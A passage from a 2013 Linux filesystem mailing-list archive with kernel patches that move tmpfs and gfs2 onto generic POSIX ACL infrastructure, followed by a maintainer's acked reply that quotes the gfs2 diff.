"Caches" source "fs/fscache/Kconfig" @@ -119,7 +115,7 @@ config TMPFS_POSIX_ACL bool "Tmpfs POSIX Access Control Lists" depends on TMPFS select TMPFS_XATTR - select GENERIC_ACL + select FS_POSIX_ACL help POSIX Access Control Lists (ACLs) support additional access rights for users and groups beyond the standard owner/group/world scheme, diff --git a/fs/Makefile b/fs/Makefile index 4fe6df3..30dc16d 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -44,7 +44,6 @@ obj-$(CONFIG_BINFMT_FLAT) += binfmt_flat.o obj-$(CONFIG_FS_MBCACHE) += mbcache.o obj-$(CONFIG_FS_POSIX_ACL) += posix_acl.o xattr_acl.o obj-$(CONFIG_NFS_COMMON) += nfs_common/ -obj-$(CONFIG_GENERIC_ACL) += generic_acl.o obj-$(CONFIG_COREDUMP) += coredump.o obj-$(CONFIG_SYSCTL) += drop_caches.o diff --git a/fs/generic_acl.c b/fs/generic_acl.c deleted file mode 100644 index 4357f39..0000000 --- a/fs/generic_acl.c +++ /dev/null @@ -1,184 +0,0 @@ -/* - * (C) 2005 Andreas Gruenbacher - * - * This file is released under the GPL. - * - * Generic ACL support for in-memory filesystems. - */ - -#include -#include -#include -#include -#include -#include - - -static size_t -generic_acl_list(struct dentry *dentry, char *list, size_t list_size, - const char *name, size_t name_len, int type) -{ - struct posix_acl *acl; - const char *xname; - size_t size; - - acl = get_cached_acl(dentry->d_inode, type); - if (!acl) - return 0; - posix_acl_release(acl); - - switch (type) { - case ACL_TYPE_ACCESS: - xname = POSIX_ACL_XATTR_ACCESS; - break; - case ACL_TYPE_DEFAULT: - xname = POSIX_ACL_XATTR_DEFAULT; - break; - default: - return 0; - } - size = strlen(xname) + 1; - if (list && size <= list_size) - memcpy(list, xname, size); - return size; -} - -static int -generic_acl_get(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) -{ - struct posix_acl *acl; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - - acl = get_cached_acl(dentry->d_inode, type); - if (!acl) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int -generic_acl_set(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl = NULL; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (acl) { - error = posix_acl_valid(acl); - if (error) - goto failed; - switch (type) { - case ACL_TYPE_ACCESS: - error = posix_acl_equiv_mode(acl, &inode->i_mode); - if (error < 0) - goto failed; - inode->i_ctime = CURRENT_TIME; - if (error == 0) { - posix_acl_release(acl); - acl = NULL; - } - break; - case ACL_TYPE_DEFAULT: - if (!S_ISDIR(inode->i_mode)) { - error = -EINVAL; - goto failed; - } - break; - } - } - set_cached_acl(inode, type, acl); - error = 0; -failed: - posix_acl_release(acl); - return error; -} - -/** - * generic_acl_init - Take care of acl inheritance at @inode create time - * - * Files created inside a directory with a default ACL inherit the - * directory's default ACL. - */ -int -generic_acl_init(struct inode *inode, struct inode *dir) -{ - struct posix_acl *acl = NULL; - int error; - - if (!S_ISLNK(inode->i_mode)) - acl = get_cached_acl(dir, ACL_TYPE_DEFAULT); - if (acl) { - if (S_ISDIR(inode->i_mode)) - set_cached_acl(inode, ACL_TYPE_DEFAULT, acl); - error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); - if (error < 0) - return error; - if (error > 0) - set_cached_acl(inode, ACL_TYPE_ACCESS, acl); - } else { - inode->i_mode &= ~current_umask(); - } - error = 0; - - posix_acl_release(acl); - return error; -} - -/** - * generic_acl_chmod - change the access acl of @inode upon chmod() - * - * A chmod also changes the permissions of the owner, group/mask, and - * other ACL entries. - */ -int -generic_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int error = 0; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - acl = get_cached_acl(inode, ACL_TYPE_ACCESS); - if (acl) { - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); - if (error) - return error; - set_cached_acl(inode, ACL_TYPE_ACCESS, acl); - posix_acl_release(acl); - } - return error; -} - -const struct xattr_handler generic_acl_access_handler = { - .prefix = POSIX_ACL_XATTR_ACCESS, - .flags = ACL_TYPE_ACCESS, - .list = generic_acl_list, - .get = generic_acl_get, - .set = generic_acl_set, -}; - -const struct xattr_handler generic_acl_default_handler = { - .prefix = POSIX_ACL_XATTR_DEFAULT, - .flags = ACL_TYPE_DEFAULT, - .list = generic_acl_list, - .get = generic_acl_get, - .set = generic_acl_set, -}; diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 5d6149d..32a8e00 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -517,3 +517,39 @@ struct posix_acl *get_acl(struct inode *inode, int type) } return inode->i_op->get_acl(inode, type); } + +int simple_set_acl(struct inode *inode, struct posix_acl *acl, int type) +{ + int error; + + if (type == ACL_TYPE_ACCESS) { + error = posix_acl_equiv_mode(acl, &inode->i_mode); + if (error < 0) + return 0; + if (error == 0) + acl = NULL; + } + + inode->i_ctime = CURRENT_TIME; + set_cached_acl(inode, type, acl); + return 0; +} + +int simple_acl_create(struct inode *dir, struct inode *inode) +{ + struct posix_acl *default_acl, *acl; + int error; + + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); + if (error) + return error; + + set_cached_acl(inode, ACL_TYPE_DEFAULT, default_acl); + set_cached_acl(inode, ACL_TYPE_ACCESS, acl); + + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); + return 0; +} diff --git a/include/linux/generic_acl.h b/include/linux/generic_acl.h deleted file mode 100644 index b6d6575..0000000 --- a/include/linux/generic_acl.h +++ /dev/null @@ -1,14 +0,0 @@ -#ifndef LINUX_GENERIC_ACL_H -#define LINUX_GENERIC_ACL_H - -#include - -struct inode; - -extern const struct xattr_handler generic_acl_access_handler; -extern const struct xattr_handler generic_acl_default_handler; - -int generic_acl_init(struct inode *, struct inode *); -int generic_acl_chmod(struct inode *); - -#endif /* LINUX_GENERIC_ACL_H */ diff --git a/include/linux/posix_acl.h b/include/linux/posix_acl.h index 2e40aae..aa568d0 100644 --- a/include/linux/posix_acl.h +++ b/include/linux/posix_acl.h @@ -99,6 +99,9 @@ extern int posix_acl_chmod(struct inode *, umode_t); extern int posix_acl_create(struct inode *, umode_t *, struct posix_acl **, struct posix_acl **); +extern int simple_set_acl(struct inode *, struct posix_acl *, int); +extern int simple_acl_create(struct inode *, struct inode *); + static inline struct posix_acl **acl_by_type(struct inode *inode, int type) { switch (type) { @@ -181,6 +184,12 @@ static inline int posix_acl_chmod(struct inode *inode, umode_t mode) return 0; } +#define simple_set_acl NULL + +static inline int simple_acl_create(struct inode *dir, struct inode *inode) +{ + return 0; +} static inline void cache_no_acl(struct inode *inode) { } diff --git a/mm/shmem.c b/mm/shmem.c index 8297623..67e74ae3 100644 --- a/mm/shmem.c +++ b/mm/shmem.c @@ -45,7 +45,7 @@ static struct vfsmount *shm_mnt; #include #include #include -#include +#include #include #include #include @@ -620,10 +620,8 @@ static int shmem_setattr(struct dentry *dentry, struct iattr *attr) } setattr_copy(inode, attr); -#ifdef CONFIG_TMPFS_POSIX_ACL if (attr->ia_valid & ATTR_MODE) - error = generic_acl_chmod(inode); -#endif + error = posix_acl_chmod(inode, inode->i_mode); return error; } @@ -1937,22 +1935,14 @@ shmem_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, dev_t dev) inode = shmem_get_inode(dir->i_sb, dir, mode, dev, VM_NORESERVE); if (inode) { -#ifdef CONFIG_TMPFS_POSIX_ACL - error = generic_acl_init(inode, dir); - if (error) { - iput(inode); - return error; - } -#endif + error = simple_acl_create(dir, inode); + if (error) + goto out_iput; error = security_inode_init_security(inode, dir, &dentry->d_name, shmem_initxattrs, NULL); - if (error) { - if (error != -EOPNOTSUPP) { - iput(inode); - return error; - } - } + if (error && error != -EOPNOTSUPP) + goto out_iput; error = 0; dir->i_size += BOGO_DIRENT_SIZE; @@ -1961,6 +1951,9 @@ shmem_mknod(struct inode *dir, struct dentry *dentry, umode_t mode, dev_t dev) dget(dentry); /* Extra count - pin the dentry in core */ } return error; +out_iput: + iput(inode); + return error; } static int @@ -1974,24 +1967,17 @@ shmem_tmpfile(struct inode *dir, struct dentry *dentry, umode_t mode) error = security_inode_init_security(inode, dir, NULL, shmem_initxattrs, NULL); - if (error) { - if (error != -EOPNOTSUPP) { - iput(inode); - return error; - } - } -#ifdef CONFIG_TMPFS_POSIX_ACL - error = generic_acl_init(inode, dir); - if (error) { - iput(inode); - return error; - } -#else - error = 0; -#endif + if (error && error != -EOPNOTSUPP) + goto out_iput; + error = simple_acl_create(dir, inode); + if (error) + goto out_iput; d_tmpfile(dentry, inode); } return error; +out_iput: + iput(inode); + return error; } static int shmem_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode) @@ -2223,8 +2209,8 @@ static int shmem_initxattrs(struct inode *inode, static const struct xattr_handler *shmem_xattr_handlers[] = { #ifdef CONFIG_TMPFS_POSIX_ACL - &generic_acl_access_handler, - &generic_acl_default_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, #endif NULL }; @@ -2740,6 +2726,7 @@ static const struct inode_operations shmem_inode_operations = { .getxattr = shmem_getxattr, .listxattr = shmem_listxattr, .removexattr = shmem_removexattr, + .set_acl = simple_set_acl, #endif }; @@ -2764,6 +2751,7 @@ static const struct inode_operations shmem_dir_inode_operations = { #endif #ifdef CONFIG_TMPFS_POSIX_ACL .setattr = shmem_setattr, + .set_acl = simple_set_acl, #endif }; @@ -2776,6 +2764,7 @@ static const struct inode_operations shmem_special_inode_operations = { #endif #ifdef CONFIG_TMPFS_POSIX_ACL .setattr = shmem_setattr, + .set_acl = simple_set_acl, #endif }; -- 1.7.10.4 From BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org Wed Dec 11 04:45:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EF5B08017 for ; Wed, 11 Dec 2013 04:45:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id DD1C28F804C for ; Wed, 11 Dec 2013 02:45:47 -0800 (PST) X-ASG-Debug-ID: 1386758746-04cbb041696a5b70001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id kPPaBHZM5OvbONzY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 02:45:46 -0800 (PST) X-Barracuda-Envelope-From: BATV+73d073057c8fc0323e65+3762+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VqhIH-0008QT-8J; Wed, 11 Dec 2013 10:45:29 +0000 Message-Id: <20131211104529.142731540@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Wed, 11 Dec 2013 02:42:59 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 16/18] gfs2: use generic posix ACL infrastructure References: <20131211104243.148113893@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 16/18] gfs2: use generic posix ACL infrastructure Content-Disposition: inline; filename=0016-gfs2-use-generic-posix-ACL-infrastructure.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386758746 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.20 X-Barracuda-Spam-Status: No, SCORE=1.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143010 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This contains some major refactoring for the create path so that inodes are created with the right mode to start with instead of fixing it up later. Signed-off-by: Christoph Hellwig --- fs/gfs2/acl.c | 234 +++++++------------------------------------------------ fs/gfs2/acl.h | 4 +- fs/gfs2/inode.c | 33 ++++++-- fs/gfs2/xattr.c | 4 +- 4 files changed, 62 insertions(+), 213 deletions(-) diff --git a/fs/gfs2/acl.c b/fs/gfs2/acl.c index e82e4ac..ba94566 100644 --- a/fs/gfs2/acl.c +++ b/fs/gfs2/acl.c @@ -49,10 +49,6 @@ struct posix_acl *gfs2_get_acl(struct inode *inode, int type) if (!ip->i_eattr) return NULL; - acl = get_cached_acl(&ip->i_inode, type); - if (acl != ACL_NOT_CACHED) - return acl; - name = gfs2_acl_name(type); if (name == NULL) return ERR_PTR(-EINVAL); @@ -80,7 +76,7 @@ static int gfs2_set_mode(struct inode *inode, umode_t mode) return error; } -static int gfs2_acl_set(struct inode *inode, int type, struct posix_acl *acl) +int gfs2_set_acl(struct inode *inode, struct posix_acl *acl, int type) { int error; int len; @@ -88,219 +84,49 @@ static int gfs2_acl_set(struct inode *inode, int type, struct posix_acl *acl) const char *name = gfs2_acl_name(type); BUG_ON(name == NULL); - len = posix_acl_to_xattr(&init_user_ns, acl, NULL, 0); - if (len == 0) - return 0; - data = kmalloc(len, GFP_NOFS); - if (data == NULL) - return -ENOMEM; - error = posix_acl_to_xattr(&init_user_ns, acl, data, len); - if (error < 0) - goto out; - error = __gfs2_xattr_set(inode, name, data, len, 0, GFS2_EATYPE_SYS); - if (!error) - set_cached_acl(inode, type, acl); -out: - kfree(data); - return error; -} - -int gfs2_acl_create(struct gfs2_inode *dip, struct inode *inode) -{ - struct gfs2_sbd *sdp = GFS2_SB(&dip->i_inode); - struct posix_acl *acl; - umode_t mode = inode->i_mode; - int error = 0; - - if (!sdp->sd_args.ar_posix_acl) - return 0; - if (S_ISLNK(inode->i_mode)) - return 0; - - acl = gfs2_get_acl(&dip->i_inode, ACL_TYPE_DEFAULT); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (!acl) { - mode &= ~current_umask(); - return gfs2_set_mode(inode, mode); - } - - if (S_ISDIR(inode->i_mode)) { - error = gfs2_acl_set(inode, ACL_TYPE_DEFAULT, acl); - if (error) - goto out; - } - - error = __posix_acl_create(&acl, GFP_NOFS, &mode); - if (error < 0) - return error; - if (error == 0) - goto munge; - - error = gfs2_acl_set(inode, ACL_TYPE_ACCESS, acl); - if (error) - goto out; -munge: - error = gfs2_set_mode(inode, mode); -out: - posix_acl_release(acl); - return error; -} - -int gfs2_acl_chmod(struct gfs2_inode *ip, struct iattr *attr) -{ - struct inode *inode = &ip->i_inode; - struct posix_acl *acl; - char *data; - unsigned int len; - int error; - - acl = gfs2_get_acl(&ip->i_inode, ACL_TYPE_ACCESS); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (!acl) - return gfs2_setattr_simple(inode, attr); - - error = __posix_acl_chmod(&acl, GFP_NOFS, attr->ia_mode); - if (error) - return error; - - len = posix_acl_to_xattr(&init_user_ns, acl, NULL, 0); - data = kmalloc(len, GFP_NOFS); - error = -ENOMEM; - if (data == NULL) - goto out; - posix_acl_to_xattr(&init_user_ns, acl, data, len); - error = gfs2_xattr_acl_chmod(ip, attr, data); - kfree(data); - set_cached_acl(&ip->i_inode, ACL_TYPE_ACCESS, acl); - -out: - posix_acl_release(acl); - return error; -} - -static int gfs2_acl_type(const char *name) -{ - if (strcmp(name, GFS2_POSIX_ACL_ACCESS) == 0) - return ACL_TYPE_ACCESS; - if (strcmp(name, GFS2_POSIX_ACL_DEFAULT) == 0) - return ACL_TYPE_DEFAULT; - return -EINVAL; -} - -static int gfs2_xattr_system_get(struct dentry *dentry, const char *name, - void *buffer, size_t size, int xtype) -{ - struct inode *inode = dentry->d_inode; - struct gfs2_sbd *sdp = GFS2_SB(inode); - struct posix_acl *acl; - int type; - int error; - - if (!sdp->sd_args.ar_posix_acl) - return -EOPNOTSUPP; - - type = gfs2_acl_type(name); - if (type < 0) - return type; - - acl = gfs2_get_acl(inode, type); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl == NULL) - return -ENODATA; - - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int gfs2_xattr_system_set(struct dentry *dentry, const char *name, - const void *value, size_t size, int flags, - int xtype) -{ - struct inode *inode = dentry->d_inode; - struct gfs2_sbd *sdp = GFS2_SB(inode); - struct posix_acl *acl = NULL; - int error = 0, type; - - if (!sdp->sd_args.ar_posix_acl) - return -EOPNOTSUPP; - - type = gfs2_acl_type(name); - if (type < 0) - return type; - if (flags & XATTR_CREATE) - return -EINVAL; - if (type == ACL_TYPE_DEFAULT && !S_ISDIR(inode->i_mode)) - return value ? -EACCES : 0; - if (!uid_eq(current_fsuid(), inode->i_uid) && !capable(CAP_FOWNER)) - return -EPERM; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - - if (!value) - goto set_acl; - - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (!acl) { - /* - * acl_set_file(3) may request that we set default ACLs with - * zero length -- defend (gracefully) against that here. - */ - goto out; - } - if (IS_ERR(acl)) { - error = PTR_ERR(acl); - goto out; - } - - error = posix_acl_valid(acl); - if (error) - goto out_release; - - error = -EINVAL; if (acl->a_count > GFS2_ACL_MAX_ENTRIES) - goto out_release; + return -EINVAL; if (type == ACL_TYPE_ACCESS) { umode_t mode = inode->i_mode; + error = posix_acl_equiv_mode(acl, &mode); + if (error < 0) + return error; - if (error <= 0) { - posix_acl_release(acl); + if (error == 0) acl = NULL; - if (error < 0) - return error; - } - error = gfs2_set_mode(inode, mode); if (error) - goto out_release; + return error; } -set_acl: - error = __gfs2_xattr_set(inode, name, value, size, 0, GFS2_EATYPE_SYS); - if (!error) { - if (acl) - set_cached_acl(inode, type, acl); - else - forget_cached_acl(inode, type); + if (acl) { + len = posix_acl_to_xattr(&init_user_ns, acl, NULL, 0); + if (len == 0) + return 0; + data = kmalloc(len, GFP_NOFS); + if (data == NULL) + return -ENOMEM; + error = posix_acl_to_xattr(&init_user_ns, acl, data, len); + if (error < 0) + goto out; + } else { + data = NULL; + len = 0; } -out_release: - posix_acl_release(acl); + + error = __gfs2_xattr_set(inode, name, data, len, 0, GFS2_EATYPE_SYS); + if (error) + goto out; + + if (acl) + set_cached_acl(inode, type, acl); + else + forget_cached_acl(inode, type); out: + kfree(data); return error; } - -const struct xattr_handler gfs2_xattr_system_handler = { - .prefix = XATTR_SYSTEM_PREFIX, - .flags = GFS2_EATYPE_SYS, - .get = gfs2_xattr_system_get, - .set = gfs2_xattr_system_set, -}; - diff --git a/fs/gfs2/acl.h b/fs/gfs2/acl.h index 0da38dc..301260c 100644 --- a/fs/gfs2/acl.h +++ b/fs/gfs2/acl.h @@ -17,8 +17,6 @@ #define GFS2_ACL_MAX_ENTRIES 25 extern struct posix_acl *gfs2_get_acl(struct inode *inode, int type); -extern int gfs2_acl_create(struct gfs2_inode *dip, struct inode *inode); -extern int gfs2_acl_chmod(struct gfs2_inode *ip, struct iattr *attr); -extern const struct xattr_handler gfs2_xattr_system_handler; +extern int gfs2_set_acl(struct inode *inode, struct posix_acl *acl, int type); #endif /* __ACL_DOT_H__ */ diff --git a/fs/gfs2/inode.c b/fs/gfs2/inode.c index 7119504..92b8959 100644 --- a/fs/gfs2/inode.c +++ b/fs/gfs2/inode.c @@ -552,6 +552,7 @@ static int gfs2_create_inode(struct inode *dir, struct dentry *dentry, unsigned int size, int excl, int *opened) { const struct qstr *name = &dentry->d_name; + struct posix_acl *default_acl, *acl; struct gfs2_holder ghs[2]; struct inode *inode = NULL; struct gfs2_inode *dip = GFS2_I(dir), *ip; @@ -611,10 +612,14 @@ static int gfs2_create_inode(struct inode *dir, struct dentry *dentry, if (!inode) goto fail_gunlock; + error = posix_acl_create(dir, &mode, &default_acl, &acl); + if (error) + goto fail_free_vfs_inode; + ip = GFS2_I(inode); error = gfs2_rs_alloc(ip); if (error) - goto fail_free_inode; + goto fail_free_acls; inode->i_mode = mode; set_nlink(inode, S_ISDIR(mode) ? 2 : 1); @@ -682,7 +687,16 @@ static int gfs2_create_inode(struct inode *dir, struct dentry *dentry, gfs2_set_iop(inode); insert_inode_hash(inode); - error = gfs2_acl_create(dip, inode); + if (default_acl) { + error = gfs2_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); + posix_acl_release(default_acl); + } + if (acl) { + if (!error) + error = gfs2_set_acl(inode, acl, ACL_TYPE_ACCESS); + posix_acl_release(acl); + } + if (error) goto fail_gunlock3; @@ -716,6 +730,12 @@ fail_free_inode: if (ip->i_gl) gfs2_glock_put(ip->i_gl); gfs2_rs_delete(ip, NULL); +fail_free_acls: + if (default_acl) + posix_acl_release(default_acl); + if (acl) + posix_acl_release(acl); +fail_free_vfs_inode: free_inode_nonrcu(inode); inode = NULL; fail_gunlock: @@ -1678,10 +1698,11 @@ static int gfs2_setattr(struct dentry *dentry, struct iattr *attr) error = gfs2_setattr_size(inode, attr->ia_size); else if (attr->ia_valid & (ATTR_UID | ATTR_GID)) error = setattr_chown(inode, attr); - else if ((attr->ia_valid & ATTR_MODE) && IS_POSIXACL(inode)) - error = gfs2_acl_chmod(ip, attr); - else + else { error = gfs2_setattr_simple(inode, attr); + if (!error && attr->ia_valid & ATTR_MODE) + error = posix_acl_chmod(inode, inode->i_mode); + } out: if (!error) @@ -1841,6 +1862,7 @@ const struct inode_operations gfs2_file_iops = { .removexattr = gfs2_removexattr, .fiemap = gfs2_fiemap, .get_acl = gfs2_get_acl, + .set_acl = gfs2_set_acl, }; const struct inode_operations gfs2_dir_iops = { @@ -1862,6 +1884,7 @@ const struct inode_operations gfs2_dir_iops = { .removexattr = gfs2_removexattr, .fiemap = gfs2_fiemap, .get_acl = gfs2_get_acl, + .set_acl = gfs2_set_acl, .atomic_open = gfs2_atomic_open, }; diff --git a/fs/gfs2/xattr.c b/fs/gfs2/xattr.c index 8c6a6f6..0b81f78 100644 --- a/fs/gfs2/xattr.c +++ b/fs/gfs2/xattr.c @@ -13,6 +13,7 @@ #include #include #include +#include #include #include "gfs2.h" @@ -1500,7 +1501,8 @@ static const struct xattr_handler gfs2_xattr_security_handler = { const struct xattr_handler *gfs2_xattr_handlers[] = { &gfs2_xattr_user_handler, &gfs2_xattr_security_handler, - &gfs2_xattr_system_handler, + &posix_acl_access_xattr_handler, + &posix_acl_default_xattr_handler, NULL, }; -- 1.7.10.4 From swhiteho@redhat.com Wed Dec 11 04:54:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9B68B29DF8 for ; Wed, 11 Dec 2013 04:54:14 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2385AAC00B for ; Wed, 11 Dec 2013 02:54:14 -0800 (PST) X-ASG-Debug-ID: 1386759252-04cbb041676a5e80001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id cRQadNtPTyp0DCbg for ; Wed, 11 Dec 2013 02:54:12 -0800 (PST) X-Barracuda-Envelope-From: swhiteho@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBBAraaq007662 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Dec 2013 05:53:36 -0500 Received: from [10.36.5.27] (vpn1-5-27.ams2.redhat.com [10.36.5.27]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBBArVIv008106; Wed, 11 Dec 2013 05:53:32 -0500 Subject: Re: [Cluster-devel] [PATCH 16/18] gfs2: use generic posix ACL infrastructure From: Steven Whitehouse X-ASG-Orig-Subj: Re: [Cluster-devel] [PATCH 16/18] gfs2: use generic posix ACL infrastructure To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, Andreas Gruenbacher , xfs@oss.sgi.com, reiserfs-devel@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, cluster-devel@redhat.com, linux-mtd@lists.infradead.org, jfs-discussion@lists.sourceforge.net, linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-nfs@vger.kernel.org, linux-btrfs@vger.kernel.org In-Reply-To: <20131211104529.142731540@bombadil.infradead.org> References: <20131211104243.148113893@bombadil.infradead.org> <20131211104529.142731540@bombadil.infradead.org> Content-Type: text/plain; charset="UTF-8" Organization: Red Hat UK Ltd Date: Wed, 11 Dec 2013 10:52:41 +0000 Message-ID: <1386759161.2706.7.camel@menhir> Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1386759252 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi, On Wed, 2013-12-11 at 02:42 -0800, Christoph Hellwig wrote: > plain text document attachment > (0016-gfs2-use-generic-posix-ACL-infrastructure.patch) > This contains some major refactoring for the create path so that > inodes are created with the right mode to start with instead of > fixing it up later. > > Signed-off-by: Christoph Hellwig Acked-by: Steven Whitehouse A really nice clean up - this is a very useful step forward in simplifying the create path. Thanks for sorting this out, Steve. > --- > fs/gfs2/acl.c | 234 +++++++------------------------------------------------ > fs/gfs2/acl.h | 4 +- > fs/gfs2/inode.c | 33 ++++++-- > fs/gfs2/xattr.c | 4 +- > 4 files changed, 62 insertions(+), 213 deletions(-) > > diff --git a/fs/gfs2/acl.c b/fs/gfs2/acl.c > index e82e4ac..ba94566 100644 > --- a/fs/gfs2/acl.c > +++ b/fs/gfs2/acl.c > @@ -49,10 +49,6 @@ struct posix_acl *gfs2_get_acl(struct inode *inode, int type) > if (!ip->i_eattr) > return NULL; > > - acl = get_cached_acl(&ip->i_inode, type); > - if (acl != ACL_NOT_CACHED) > - return acl; > - > name = gfs2_acl_name(type); > if (name == NULL) > return ERR_PTR(-EINVAL); > @@ -80,7 +76,7 @@ static int gfs2_set_mode(struct inode *inode, umode_t mode) > return error; > } > > -static int gfs2_acl_set(struct inode *inode, int type, struct posix_acl *acl) > +int gfs2_set_acl(struct inode *inode, struct posix_acl *acl, int type) > { > int error; > int len; > @@ -88,219 +84,49 @@ static int gfs2_acl_set(struct inode *inode, int type, struct posix_acl *acl) > const char *name = gfs2_acl_name(type); > > BUG_ON(name == NULL); > - len = posix_acl_to_xattr(&init_user_ns, acl, NULL, 0); > - if (len == 0) > - return 0; > - data = kmalloc(len, GFP_NOFS); > - if (data == NULL) > - return -ENOMEM; > - error = posix_acl_to_xattr(&init_user_ns, acl, data, len); > - if (error < 0) > - goto out; > - error = __gfs2_xattr_set(inode, name, data, len, 0, GFS2_EATYPE_SYS); > - if (!error) > - set_cached_acl(inode, type, acl); > -out: > - kfree(data); > - return error; > -} > - > -int gfs2_acl_create(struct gfs2_inode *dip, struct inode *inode) > -{ > - struct gfs2_sbd *sdp = GFS2_SB(&dip->i_inode); > - struct posix_acl *acl; > - umode_t mode = inode->i_mode; > - int error = 0; > - > - if (!sdp->sd_args.ar_posix_acl) > - return 0; > - if (S_ISLNK(inode->i_mode)) > - return 0; > - > - acl = gfs2_get_acl(&dip->i_inode, ACL_TYPE_DEFAULT); > - if (IS_ERR(acl)) > - return PTR_ERR(acl); > - if (!acl) { > - mode &= ~current_umask(); > - return gfs2_set_mode(inode, mode); > - } > - > - if (S_ISDIR(inode->i_mode)) { > - error = gfs2_acl_set(inode, ACL_TYPE_DEFAULT, acl); > - if (error) > - goto out; > - } > - > - error = 